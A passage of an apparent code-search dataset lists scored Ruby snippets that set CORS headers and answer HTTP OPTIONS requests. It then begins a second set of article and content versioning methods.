"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "7db50161f7d2479b504a572dfeb01779",
"score": "0.63513035",
"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "7db50161f7d2479b504a572dfeb01779",
"score": "0.6351023",
"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "35aaecf2d03fc7f16b1c69791e8b40fa",
"score": "0.63340527",
"text": "def cors_preflight_check\n logger.debug 'cors_preflight_check'\n\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS,PUT, DELETE'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n\n end",
"title": ""
},
{
"docid": "b4410b57fbcb45d3291ed74b6a3e66da",
"score": "0.63268334",
"text": "def options_response\n render :nothing => true, :status => 200\n\n response.headers['Access-Control-Allow-Origin'] = '*'\n response.headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n response.headers['Access-Control-Allow-Credentials'] = 'true'\n response.headers['Access-Control-Max-Age'] = '86400' # 24 hours\n response.headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-HTTP-Method-Override, Content-Type, Accept'\n end",
"title": ""
},
{
"docid": "741aaff41f06424cd1a8de5ceb7e0861",
"score": "0.6277966",
"text": "def cors\n headers[\"Access-Control-Allow-Origin\"] = \"*\"\n headers['Access-Control-Request-Method'] = \"*\"\n headers[\"Access-Control-Allow-Methods\"] = %w{GET POST PUT DELETE OPTIONS}.join(\",\")\n headers[\"Access-Control-Allow-Headers\"] = %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token}.join(\",\")\n if request.method == 'OPTIONS'\n head(:ok)\n end\n end",
"title": ""
},
{
"docid": "62b2313e3a98986b70b5b0a2cf860af9",
"score": "0.6256389",
"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "ab434cdd1255c9dc39b2ba02baf1c0eb",
"score": "0.62547386",
"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "6f566f4bd34a9495398e8552031f4c1b",
"score": "0.62433153",
"text": "def cors_preflight_check\n \theaders['Access-Control-Allow-Origin'] = '*'\n \theaders['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n \theaders['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n \theaders['Access-Control-Max-Age'] = '1728000'\n \tend",
"title": ""
},
{
"docid": "6f566f4bd34a9495398e8552031f4c1b",
"score": "0.62433153",
"text": "def cors_preflight_check\n \theaders['Access-Control-Allow-Origin'] = '*'\n \theaders['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n \theaders['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n \theaders['Access-Control-Max-Age'] = '1728000'\n \tend",
"title": ""
},
{
"docid": "6f566f4bd34a9495398e8552031f4c1b",
"score": "0.62433153",
"text": "def cors_preflight_check\n \theaders['Access-Control-Allow-Origin'] = '*'\n \theaders['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n \theaders['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n \theaders['Access-Control-Max-Age'] = '1728000'\n \tend",
"title": ""
},
{
"docid": "7d41b3a9e7eb6f0de61fef1048050ddb",
"score": "0.6189198",
"text": "def options\n head :status => 200, :'Access-Control-Allow-Headers' => 'accept, content-type'\n end",
"title": ""
},
{
"docid": "99e646c008171f77cef6cc32f08e3a35",
"score": "0.60772824",
"text": "def process_options(cli, request, target)\r\n\t\tprint_status(\"Responding to WebDAV OPTIONS request\")\r\n\t\theaders = {\r\n\t\t\t#'DASL' => '<DAV:sql>',\r\n\t\t\t#'DAV' => '1, 2',\r\n\t\t\t'Allow' => 'OPTIONS, GET, PROPFIND',\r\n\t\t\t'Public' => 'OPTIONS, GET, PROPFIND'\r\n\t\t}\r\n\t\tsend_response(cli, '', headers)\r\n\tend",
"title": ""
},
{
"docid": "897a39d707b4173b6055b01f968b3bf3",
"score": "0.6012427",
"text": "def process_options(cli, request)\r\n vprint_status(\"OPTIONS #{request.uri}\")\r\n headers = {\r\n 'MS-Author-Via' => 'DAV',\r\n 'DASL' => '<DAV:sql>',\r\n 'DAV' => '1, 2',\r\n 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',\r\n 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',\r\n 'Cache-Control' => 'private'\r\n }\r\n resp = create_response(207, \"Multi-Status\")\r\n headers.each_pair {|k,v| resp[k] = v }\r\n resp.body = \"\"\r\n resp['Content-Type'] = 'text/xml'\r\n cli.send_response(resp)\r\n end",
"title": ""
},
{
"docid": "baff67baaf150d3eb6f3ac22513f50cb",
"score": "0.59711933",
"text": "def cors_preflight_check\nheaders['Access-Control-Allow-Origin'] = '*'\nheaders['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\nheaders['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\nheaders['Access-Control-Max-Age'] = '1728000'\nend",
"title": ""
},
{
"docid": "762821073ac25f5a9b4cc04d65a1a1cf",
"score": "0.5969941",
"text": "def OPTIONS(uri, credentials)\n options = Net::HTTP::Options.new(uri.path)\n\n response = submit(options, uri, credentials)\n\n case response\n when Net::HTTPOK\n response.to_hash\n else\n report_error(\"OPTIONS\", uri.path, response, credentials)\n end\n end",
"title": ""
},
{
"docid": "81eaf9fa7f12f239217148282e03037b",
"score": "0.5956677",
"text": "def contact_form_options\n #TODO verify originating domain\n cors_set_access_control_headers\n head :ok\n end",
"title": ""
},
{
"docid": "f6ad168d63da743db3d64846417b00e6",
"score": "0.58189",
"text": "def process_options(cli, request)\r\n\t\tprint_status(\"Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}\")\r\n\t\theaders = {\r\n\t\t\t#'DASL' => '<DAV:sql>',\r\n\t\t\t#'DAV' => '1, 2',\r\n\t\t\t'Allow' => 'OPTIONS, GET, PROPFIND',\r\n\t\t\t'Public' => 'OPTIONS, GET, PROPFIND'\r\n\t\t}\r\n\t\tsend_response(cli, '', headers)\r\n\tend",
"title": ""
},
{
"docid": "c74d7d9f48f5487bfb12bf43f1c32717",
"score": "0.5790487",
"text": "def cors_header_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"title": ""
},
{
"docid": "0028c8f2ba60970f4ab8e3b4af0d8fa1",
"score": "0.57375",
"text": "def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = \"*\"\n headers['Access-Control-Request-Method'] = %w{GET POST OPTIONS}.join(\",\")\n end",
"title": ""
},
{
"docid": "b50f5d56c82e0e8623b87adf5a08052f",
"score": "0.5735121",
"text": "def handle_request( request )\n\t\tif request.origin\n\t\t\tself.log.info \"Request has an Origin (%p): applying CORS\" % [ request.origin ]\n\t\t\tresponse = if request.is_preflight?\n\t\t\t\t\tself.log.debug \"Preflight request for %s\" % [ request.uri ]\n\t\t\t\t\tself.handle_preflight_request( request )\n\t\t\t\telse\n\t\t\t\t\trequest.response.add_cors_headers\n\t\t\t\t\tsuper\n\t\t\t\tend\n\n\t\t\treturn response\n\t\telse\n\t\t\tsuper\n\t\tend\n\tend",
"title": ""
},
{
"docid": "d1f36ef86c72d29d526b8f5ee6b13d28",
"score": "0.5733751",
"text": "def set_cors_headers\n if request.headers[\"HTTP_ORIGIN\"]\n # better way check origin\n # if request.headers[\"HTTP_ORIGIN\"] && /^https?:\\/\\/(.*)\\.some\\.site\\.com$/i.match(request.headers[\"HTTP_ORIGIN\"])\n headers['Access-Control-Allow-Origin'] = request.headers[\"HTTP_ORIGIN\"]\n headers['Access-Control-Expose-Headers'] = 'ETag'\n headers['Access-Control-Allow-Methods'] = 'GET, POST, PATCH, PUT, DELETE, OPTIONS, HEAD'\n headers['Access-Control-Allow-Headers'] = '*,x-requested-with,Content-Type,If-Modified-Since,If-None-Match,Auth-User-Token'\n headers['Access-Control-Max-Age'] = '86400'\n headers['Access-Control-Allow-Credentials'] = 'true'\n end\n end",
"title": ""
},
{
"docid": "255b9ac2d1d64493187bdd1029eefe54",
"score": "0.5695455",
"text": "def check_header\n if ['POST', 'PUT', 'PATCH'].include? request.method\n head :not_acceptable and return unless request.content_type == 'application/vnd.api+json'\n end\n end",
"title": ""
},
{
"docid": "060c4f141af30cac6799a67ea9eb6a39",
"score": "0.56625026",
"text": "def check_header\n if ['POST','PUT','PATCH'].include? request.method\n if request.content_type != \"application/vnd.api+json\"\n head 406 and return\n end\n end\n end",
"title": ""
},
{
"docid": "888bc0a32900bf4420e6ac55b50b9738",
"score": "0.56320935",
"text": "def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Request-Method'] = %w(GET POST OPTIONS).join(',')\n end",
"title": ""
},
{
"docid": "5925c50e9db96251a09681e4accf838a",
"score": "0.56118417",
"text": "def filter_request(req)\n @authenticator.each do |auth|\n next unless auth.set? # hasn't be set, don't use it\n if cred = auth.get(req)\n if cred == :skip\n # some authenticator (NTLM and Negotiate) does not\n # need to send extra header after authorization. In such case\n # it should block other authenticators to respond and :skip is\n # the marker for such case.\n return\n end\n req.header.set('Proxy-Authorization', auth.scheme + \" \" + cred)\n return\n end\n end\n end",
"title": ""
},
{
"docid": "5c6b92b65b4a48de3c9a18c7c696b074",
"score": "0.55987346",
"text": "def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "5c6b92b65b4a48de3c9a18c7c696b074",
"score": "0.55987346",
"text": "def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "5c6b92b65b4a48de3c9a18c7c696b074",
"score": "0.55987346",
"text": "def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "f79d6c72c208d7defe067e18558f9d6c",
"score": "0.55790925",
"text": "def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\nend",
"title": ""
},
{
"docid": "f79d6c72c208d7defe067e18558f9d6c",
"score": "0.55790925",
"text": "def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\nend",
"title": ""
},
{
"docid": "262ac6c83484bd57dfb828f39549c961",
"score": "0.55751115",
"text": "def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n headers['Access-Control-Allow-Headers'] = \"X-Requested-With,Content-Type,Accept,Origin\"\n headers['Access-Control-Expose-Headers'] = \"Location\"\nend",
"title": ""
},
{
"docid": "ca9eaa496ff17e5634e7c1756189d681",
"score": "0.55663973",
"text": "def options\n add_dav_header\n response['Allow'] = 'OPTIONS,HEAD,GET,PUT,POST,DELETE,PROPFIND,PROPPATCH,MKCOL,COPY,MOVE,LOCK,UNLOCK'\n response['Ms-Author-Via'] = 'DAV'\n OK\n end",
"title": ""
},
{
"docid": "ddeb9913b3f9747704b382f4ad5467ce",
"score": "0.5566004",
"text": "def cors_allow_all\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"title": ""
},
{
"docid": "fa76782d5d8e582413b1811a1c7ace98",
"score": "0.5564238",
"text": "def options_call\n OmniAuth.config.before_options_phase.call(env) if OmniAuth.config.before_options_phase\n verbs = OmniAuth.config.allowed_request_methods.collect(&:to_s).collect(&:upcase).join(', ')\n [200, {'Allow' => verbs}, []]\n end",
"title": ""
}
] |
13c49b34a66ab89f016b04325557e9a5
|
The latest published version. Returns an instance of ArticleVersion
|
[
{
"docid": "7fced1f5b9baf52ce5012d5ce265bb52",
"score": "0.66964316",
"text": "def display_version\n ActiveSupport::Deprecation.warn(\"Article#display_version is deprecated. Use Article#latest_published_version instead. \")\n self.latest_published_version\n end",
"title": ""
}
] |
[
{
"docid": "3b4ff942aad33b0a37c56167a2e27aa8",
"score": "0.8057796",
"text": "def latest_version\n self.article_versions.first\n end",
"title": ""
},
{
"docid": "a408344b3026f2f734c342d347d55177",
"score": "0.7264541",
"text": "def original_published_version\n self.article_versions.web_published.last\n end",
"title": ""
},
{
"docid": "00cef51b19778cc1ed5211d47c512b04",
"score": "0.72081465",
"text": "def published\n @published_version ||= AbstractVersion.find_by_abstract_id_and_content_status_id(self.id, ContentStatus[:published].id)\n end",
"title": ""
},
{
"docid": "3363cb95e9f51429d2b806f62aacb3f3",
"score": "0.69408095",
"text": "def get_latest_revision\n return get_revision(latest_revision_number())\n end",
"title": ""
},
{
"docid": "95216fea1db8e594bb39d38244dbb655",
"score": "0.69085574",
"text": "def max_version\n Article_Version.value_of.max(:version).with(Article_Version.article_id == article_id).to_i\n end",
"title": ""
},
{
"docid": "95216fea1db8e594bb39d38244dbb655",
"score": "0.69085574",
"text": "def max_version\n Article_Version.value_of.max(:version).with(Article_Version.article_id == article_id).to_i\n end",
"title": ""
},
{
"docid": "c9fe949a57169434563b9f8f58d0348c",
"score": "0.68932694",
"text": "def get_latest_revision\n return get_revision(latest_revision_number)\n end",
"title": ""
},
{
"docid": "f3c636f608ee127bcb0eea4fa10010c6",
"score": "0.68793154",
"text": "def latest_revision\n revisions.first\n end",
"title": ""
},
{
"docid": "43572afd0c0b5e2920450f584a3ce41e",
"score": "0.6816566",
"text": "def last_published_version\n self.milestones.empty? ? nil : self.milestones.last.instance\n end",
"title": ""
},
{
"docid": "ec4431f132238cf91be99df76997bb1e",
"score": "0.67850393",
"text": "def latest_version\n versions.last\n end",
"title": ""
},
{
"docid": "e2c2cd21cb6f62c1c002396b52d5b8a3",
"score": "0.6765202",
"text": "def published_version\n self.survey_versions.where(:published => true).order('major desc, minor desc').first\n end",
"title": ""
},
{
"docid": "a7c0d46c84ca1ce6a13292fe68fa8490",
"score": "0.67311513",
"text": "def published\n @published_version ||= FaqVersion.find_by_faq_id_and_content_status_id(self.id, ContentStatus[:published].id)\n end",
"title": ""
},
{
"docid": "8b7548e530e87871d87bbf8b0b31cdea",
"score": "0.6727329",
"text": "def latest_version\n versioned_texts(true).version_desc.first\n end",
"title": ""
},
{
"docid": "868ac14b3294294db57baaf5245502e5",
"score": "0.67072815",
"text": "def published\n @published_version ||= EventVersion.find_by_event_id_and_content_status_id(self.id, ContentStatus[:published].id)\n end",
"title": ""
},
{
"docid": "e1237fea2d8b08a082be7bfd9957c5be",
"score": "0.6697768",
"text": "def published\n @published_version ||= QuestionVersion.find_by_question_id_and_content_status_id(self.id, ContentStatus[:published].id)\n end",
"title": ""
},
{
"docid": "f6cd9553399306adc9b50d74a82933cc",
"score": "0.6687152",
"text": "def published\n @published_version ||= ReviewVersion.find_by_review_id_and_content_status_id(self.id, ContentStatus[:published].id)\n end",
"title": ""
},
{
"docid": "cf2ef7b35ac2652f9a370e340dc3ac40",
"score": "0.6679076",
"text": "def published\n @published_version ||= ResearchTopicVersion.find_by_research_topic_id_and_content_status_id(self.id, ContentStatus[:published].id)\n end",
"title": ""
},
{
"docid": "db84e5713566eb6da34db857cda47403",
"score": "0.6676199",
"text": "def published\n @published_version ||= TermVersion.find_by_term_id_and_content_status_id(self.id, ContentStatus[:published].id)\n end",
"title": ""
},
{
"docid": "9878d11247355f5f1eaac4a11fe7494e",
"score": "0.6674371",
"text": "def get_latest_revision\n if Rails.configuration.mediawiki_session\n if self.wiki_page_name.present?\n name = self.wiki_page_name.gsub(\" \", \"_\")\n else\n name = self.title.strip.gsub(\" \", \"_\")\n end\n\n begin\n # Get history\n history = RestClient.get(\"#{Project.load_mediawiki_api_base_url}api.php?action=weserve&method=history&page=#{URI.escape(name)}&format=json\", {:cookies => Rails.configuration.mediawiki_session})\n latest_revision_id = JSON.parse(history.body)[\"response\"][0]\n\n # Get the revision content\n revision = RestClient.get(\"#{Project.load_mediawiki_api_base_url}api.php?action=weserve&method=revision&page=#{URI.escape(name)}&revision=#{latest_revision_id}&format=json\", {:cookies => Rails.configuration.mediawiki_session})\n\n return JSON.parse(revision.body)[\"response\"][\"content\"]\n rescue\n return nil\n end\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "6b824a8301a2fc985587e37e8c64ed7e",
"score": "0.6541501",
"text": "def latest\n order(\"version_from desc\").first\n end",
"title": ""
},
{
"docid": "e2ea1215b90967fdbdfdc1acb02f0e84",
"score": "0.6534657",
"text": "def latest_release\n revisions_by_status(RevisionInfo::Status::LATEST_RELEASE).first\n end",
"title": ""
},
{
"docid": "5c4b7ae3b5c56b5378bd006d3cb9922f",
"score": "0.65323657",
"text": "def published\n @published_version ||= EventTopicVersion.find_by_event_topic_id_and_content_status_id(self.id, ContentStatus[:published].id)\n end",
"title": ""
},
{
"docid": "62b565d6f8c68b20d34c766c2d58dbd7",
"score": "0.653185",
"text": "def latest_version\n graph = Solve::Graph.new\n versions.each do |version, url|\n graph.artifacts(name, version)\n end\n graph.demands(name, \">= 0.0.0\")\n\n version = Solve.it!(graph)[name]\n\n [ version, versions[version] ]\n end",
"title": ""
},
{
"docid": "4403187dfaee033c2b840aee0ba801fd",
"score": "0.6475314",
"text": "def get_latest_revision\n raise NotImplementedError, \"Repository.get_latest_revision: Not yet implemented\"\n end",
"title": ""
},
{
"docid": "57870df9dd6032c36e2a933df20b4504",
"score": "0.64642954",
"text": "def print_version\n self.article_versions.print_ready.first\n end",
"title": ""
},
{
"docid": "7d300760566fa1d04f6d6d469ef064c3",
"score": "0.6449753",
"text": "def published\n @published_version ||= QuestionTopicVersion.find_by_question_topic_id_and_content_status_id(self.id, ContentStatus[:published].id)\n end",
"title": ""
},
{
"docid": "8c84dcdcf6d1d1256d7ff9bd1f3ddd3b",
"score": "0.64342666",
"text": "def web_ready_version\n self.article_versions.web_ready.first\n end",
"title": ""
},
{
"docid": "9970bef95e5f533088fd359a410a0e08",
"score": "0.6421027",
"text": "def latest_version\n x = order(version: -1).limit(1).first\n x.nil? ? '00000000000000' : x.version\n end",
"title": ""
},
{
"docid": "9970bef95e5f533088fd359a410a0e08",
"score": "0.6421027",
"text": "def latest_version\n x = order(version: -1).limit(1).first\n x.nil? ? '00000000000000' : x.version\n end",
"title": ""
},
{
"docid": "2e1efad3b4d668f37cd36fbf821330da",
"score": "0.63912714",
"text": "def latest\n @latest ||= releases.first\n end",
"title": ""
},
{
"docid": "597d6bad32681494feb07003781d0673",
"score": "0.63878894",
"text": "def version\n v = params[:version].to_i\r\n @article = Article.find(params[:id])\r\n @effective_version = @article.version\r\n @article.revert_to(version) if v != @effective_version\r\n end",
"title": ""
},
{
"docid": "968854c9efa53987e3b2f2f21d16787a",
"score": "0.63868594",
"text": "def published\n @published_version ||= DoctorVersion.find_by_doctor_id_and_content_status_id(self.id, ContentStatus[:published].id)\n end",
"title": ""
},
{
"docid": "73dc1a03dcf8d9b74b6a6c88187f3a9c",
"score": "0.63485837",
"text": "def last_version\n max=0\n last_ver=CmDocsVersion.new\n self.cm_docs_versions.each do |ver|\n if ver.id > max\n max = ver.id\n last_ver=ver\n end\n end\n last_ver\n end",
"title": ""
},
{
"docid": "cf4b0df8eb6861514d0f0c7c2d6c6642",
"score": "0.633322",
"text": "def save_version!\n version = ArticleVersion.create(\n article_id: self.id,\n contents: {\n article_params: {\n headline: self.headline,\n subhead: self.subhead,\n bytitle: self.bytitle,\n html: self.html,\n author_ids: self.authorships.map(&:author_id).join(','),\n lede: self.lede\n },\n piece_params: {\n section_id: self.piece.section_id,\n primary_tag: self.piece.primary_tag,\n tags_string: self.piece.tags_string,\n issue_id: self.piece.issue_id\n },\n article_attributes: self.attributes,\n piece_attributes: self.piece.attributes,\n tag_ids: self.piece.taggings.map(&:tag_id).join(','),\n author_ids: self.authors.map(&:id).join(',')\n }\n )\n\n version.web_published!\n version.print_ready!\n\n version.created_at = self.updated_at\n version.updated_at = self.updated_at\n version.save\n\n self.latest_published_version = version\n save\n\n version\n end",
"title": ""
},
{
"docid": "0b6883c9cb217ed17cc92257d90fdb8e",
"score": "0.6328125",
"text": "def latest\n @latest ||= find(:first, :order => \"#{original_class.version_column} desc\")\n end",
"title": ""
},
{
"docid": "a96a1b4fc5b10f0542ec220a7e5cf4ba",
"score": "0.6293964",
"text": "def current_version\n\t\t\t\t\tif @current_version.nil?\n\t\t\t\t\t\t@current_version = document_versions.order(id: :desc).first\n\t\t\t\t\tend\n\t\t\t\t\treturn @current_version\n\t\t\t\tend",
"title": ""
},
{
"docid": "27845c2e683504c1e9d9acbbf6fe5aa2",
"score": "0.62855107",
"text": "def last_version\n object.versions.last\n end",
"title": ""
},
{
"docid": "46345ed05ca1b74de8f4628fac7a5579",
"score": "0.6270194",
"text": "def published\n @published_version ||= TreatmentVersion.find_by_treatment_id_and_content_status_id(self.id, ContentStatus[:published].id)\n end",
"title": ""
},
{
"docid": "adcd567bf750521207b4fcfcb5587a68",
"score": "0.6267362",
"text": "def version\n return nil if @version.nil?\n @version_object = Version.new(@version, @name) if @version_object.nil?\n @version_object\n end",
"title": ""
},
{
"docid": "ad3a27d44431eed88f35f20836f36ccc",
"score": "0.62539685",
"text": "def latest_version(persistent_id)\n Node.versions(persistent_id).first\n end",
"title": ""
},
{
"docid": "76652cc506cec8167503d90116bce887",
"score": "0.62415344",
"text": "def last_revision\n self.revisions(:order => 'revision DESC', :limit => 1).first\n end",
"title": ""
},
{
"docid": "92b4f7343a53f418a441e2876d772792",
"score": "0.62337273",
"text": "def published\n @published_version ||= DiagnosticVersion.find_by_diagnostic_id_and_content_status_id(self.id, ContentStatus[:published].id)\n end",
"title": ""
},
{
"docid": "d41674f8a185e2626587e719e8ebb836",
"score": "0.62307876",
"text": "def current_version\n versions.sort_by{ |v| v.created_at }[-1]\n end",
"title": ""
},
{
"docid": "3d65b786638f3f1cfbf1af54950db82b",
"score": "0.6220356",
"text": "def current_version\n versions.first :order => [:number.desc]\n end",
"title": ""
},
{
"docid": "851dd2afcc49102f3936fab6cd97efd0",
"score": "0.61733234",
"text": "def latest\n result = nil\n each do |revision|\n result = revision if result.nil? || result.time < revision.time\n end\n result\n end",
"title": ""
},
{
"docid": "9d83f9575b7874cdb081200199dfd50f",
"score": "0.6169857",
"text": "def fetch_published_version\n service_response = AdminManagement::CmsConfigurator::FetchPublishedVersion.new(params).perform\n render_api_response(service_response)\n end",
"title": ""
},
{
"docid": "e01c552cfddd13be80b691d8421f7155",
"score": "0.6162411",
"text": "def version\n self.first.version\n end",
"title": ""
},
{
"docid": "2b9821121da81cc32122b789f6ba912b",
"score": "0.61242294",
"text": "def published\n @published_version ||= ConditionVersion.find_by_condition_id_and_content_status_id(self.id, ContentStatus[:published].id)\n end",
"title": ""
},
{
"docid": "d41245f50bdf5f9fd6ba0ad248f8ea35",
"score": "0.6119857",
"text": "def version\n rev = revision\n return rev[\"version\"]\n end",
"title": ""
},
{
"docid": "9c9cd858d37998fbe8865f7de1783661",
"score": "0.6099833",
"text": "def newest_version\n self.survey_versions.order('major desc, minor desc').first\n end",
"title": ""
},
{
"docid": "8e71c7781119ccd7f6f555eeae8959f6",
"score": "0.60988396",
"text": "def latest_version\n product_versions = if options.partial_version?\n v = options.product_version\n partial_version = v.end_with?(\".\") ? v : v + \".\"\n versions.find_all { |ver| extract_version_from_response(ver).start_with?(partial_version) }\n else\n versions\n end\n\n # Use mixlib versioning to parse and sort versions\n ordered_versions = product_versions.sort_by do |v|\n Mixlib::Versioning.parse(extract_version_from_response(v))\n end.reverse\n\n version = extract_version_from_response(ordered_versions.first)\n artifacts_for_version(version)\n end",
"title": ""
},
{
"docid": "9af319bfc33849716a1df1fc701d0084",
"score": "0.60981137",
"text": "def latest_version\n hurley_client.get 'versions.json'\n end",
"title": ""
},
{
"docid": "fee478b976cd2d21c6c4f288f343b796",
"score": "0.60851496",
"text": "def version\n return es_version unless es_version.nil?\n\n @version ||= begin\n response = get \"/\"\n response.body.dig(\"version\", \"number\")\n end\n end",
"title": ""
},
{
"docid": "3bcf1a8647700b9b850cd4ccb78a0936",
"score": "0.608443",
"text": "def latest_version\n conn.latest_version(name)\n end",
"title": ""
},
{
"docid": "bea16fe4b0321c63b9b04ab98c0b3506",
"score": "0.6080993",
"text": "def current_version\n Versions.order('version desc').limit(1).first&.version || 0\n end",
"title": ""
},
{
"docid": "9bdc2f6f9c7696b0876c9730852b7d83",
"score": "0.60709554",
"text": "def published_revision\n method = 'find_by_number_and_' + klass + '_id'\n self.revision_model.send(method.to_sym, self.published_revision_number, self.id) rescue nil\n end",
"title": ""
},
{
"docid": "c52e84d2c8576f18f08671fcbe4528e8",
"score": "0.60699224",
"text": "def version\n new_resource.version || latest_version\n end",
"title": ""
},
{
"docid": "c815b64421ff564407b94dce3a7135fd",
"score": "0.6036222",
"text": "def new\n @article = Article.new params[:article]\n @categories = Category.all\n @version = @article.versions.build\n end",
"title": ""
},
{
"docid": "ff5c8452f250e5bbecf26eee0ca40206",
"score": "0.6021152",
"text": "def latest_version(options = {})\n client = extract_client!(options)\n options = Util.rename_keys(options,\n group: :g,\n name: :a,\n version: :v)\n params = Util.slice(options, :g, :a, :v, :repos, :remote)\n format_repos!(params)\n\n # For whatever reason, Artifactory won't accept \"true\" - they want a\n # literal \"1\"...\n params[:remote] = 1 if options[:remote]\n\n client.get(\"/api/search/latestVersion\", params)\n rescue Error::HTTPError => e\n raise unless e.code == 404\n\n nil\n end",
"title": ""
},
{
"docid": "c2c716007205075d33d2713e149cb5b9",
"score": "0.60126466",
"text": "def version\n return nil if self.new_record?\n @version ||= recreate_version_object\n end",
"title": ""
},
{
"docid": "b6f6ebcc5b230ed0c55ab514d11dc41b",
"score": "0.59618527",
"text": "def content\n latest_version.present? ? latest_version.content : default_content\n end",
"title": ""
},
{
"docid": "9baf0a392d877fff710745759ddd794e",
"score": "0.5955694",
"text": "def last_version\n @last_version ||= versions.maximum(:number) || 1\n end",
"title": ""
},
{
"docid": "102d91fc2aa2db43270c4bce4a6923f4",
"score": "0.5952349",
"text": "def last_version\n return 0 if versions.count == 0\n versions.first.version_number \n end",
"title": ""
},
{
"docid": "406ebf2c82ced60d20f43bf219e99e85",
"score": "0.5946499",
"text": "def version_object\n version_cache.version_obj\n end",
"title": ""
},
{
"docid": "baeef88f37c8b09fcac94796370c993c",
"score": "0.594343",
"text": "def latest_revision \n raise NotImplementedError, 'latest_revision is an abstract method'\n end",
"title": ""
},
{
"docid": "ff6b0c3c5277c9dab5060da5d989aedf",
"score": "0.5932206",
"text": "def current_version\n find( :first, :order => 'number DESC' )\n end",
"title": ""
},
{
"docid": "c4ed4de2835996fa20173f7dd7cd618a",
"score": "0.59028476",
"text": "def get_new_version\n if self.id.present?\n new_version = Template.deep_copy(self)\n new_version.version = (self.version + 1)\n new_version.published = false \n new_version.visibility = self.visibility # do not change the visibility \n new_version.is_default = self.is_default # retain the default template flag\n new_version.save!\n new_version\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "431c271d7c1bd6b669a12b989438b6de",
"score": "0.5892978",
"text": "def version\n\t\treturn self.versions[ :ver ]\n\tend",
"title": ""
},
{
"docid": "1e9176db87182a2ce062c8b0dead7658",
"score": "0.58897567",
"text": "def latest\n @latest.latest if @latest\n end",
"title": ""
},
{
"docid": "5d173d59be1cd4622fd420841ef286fc",
"score": "0.58842474",
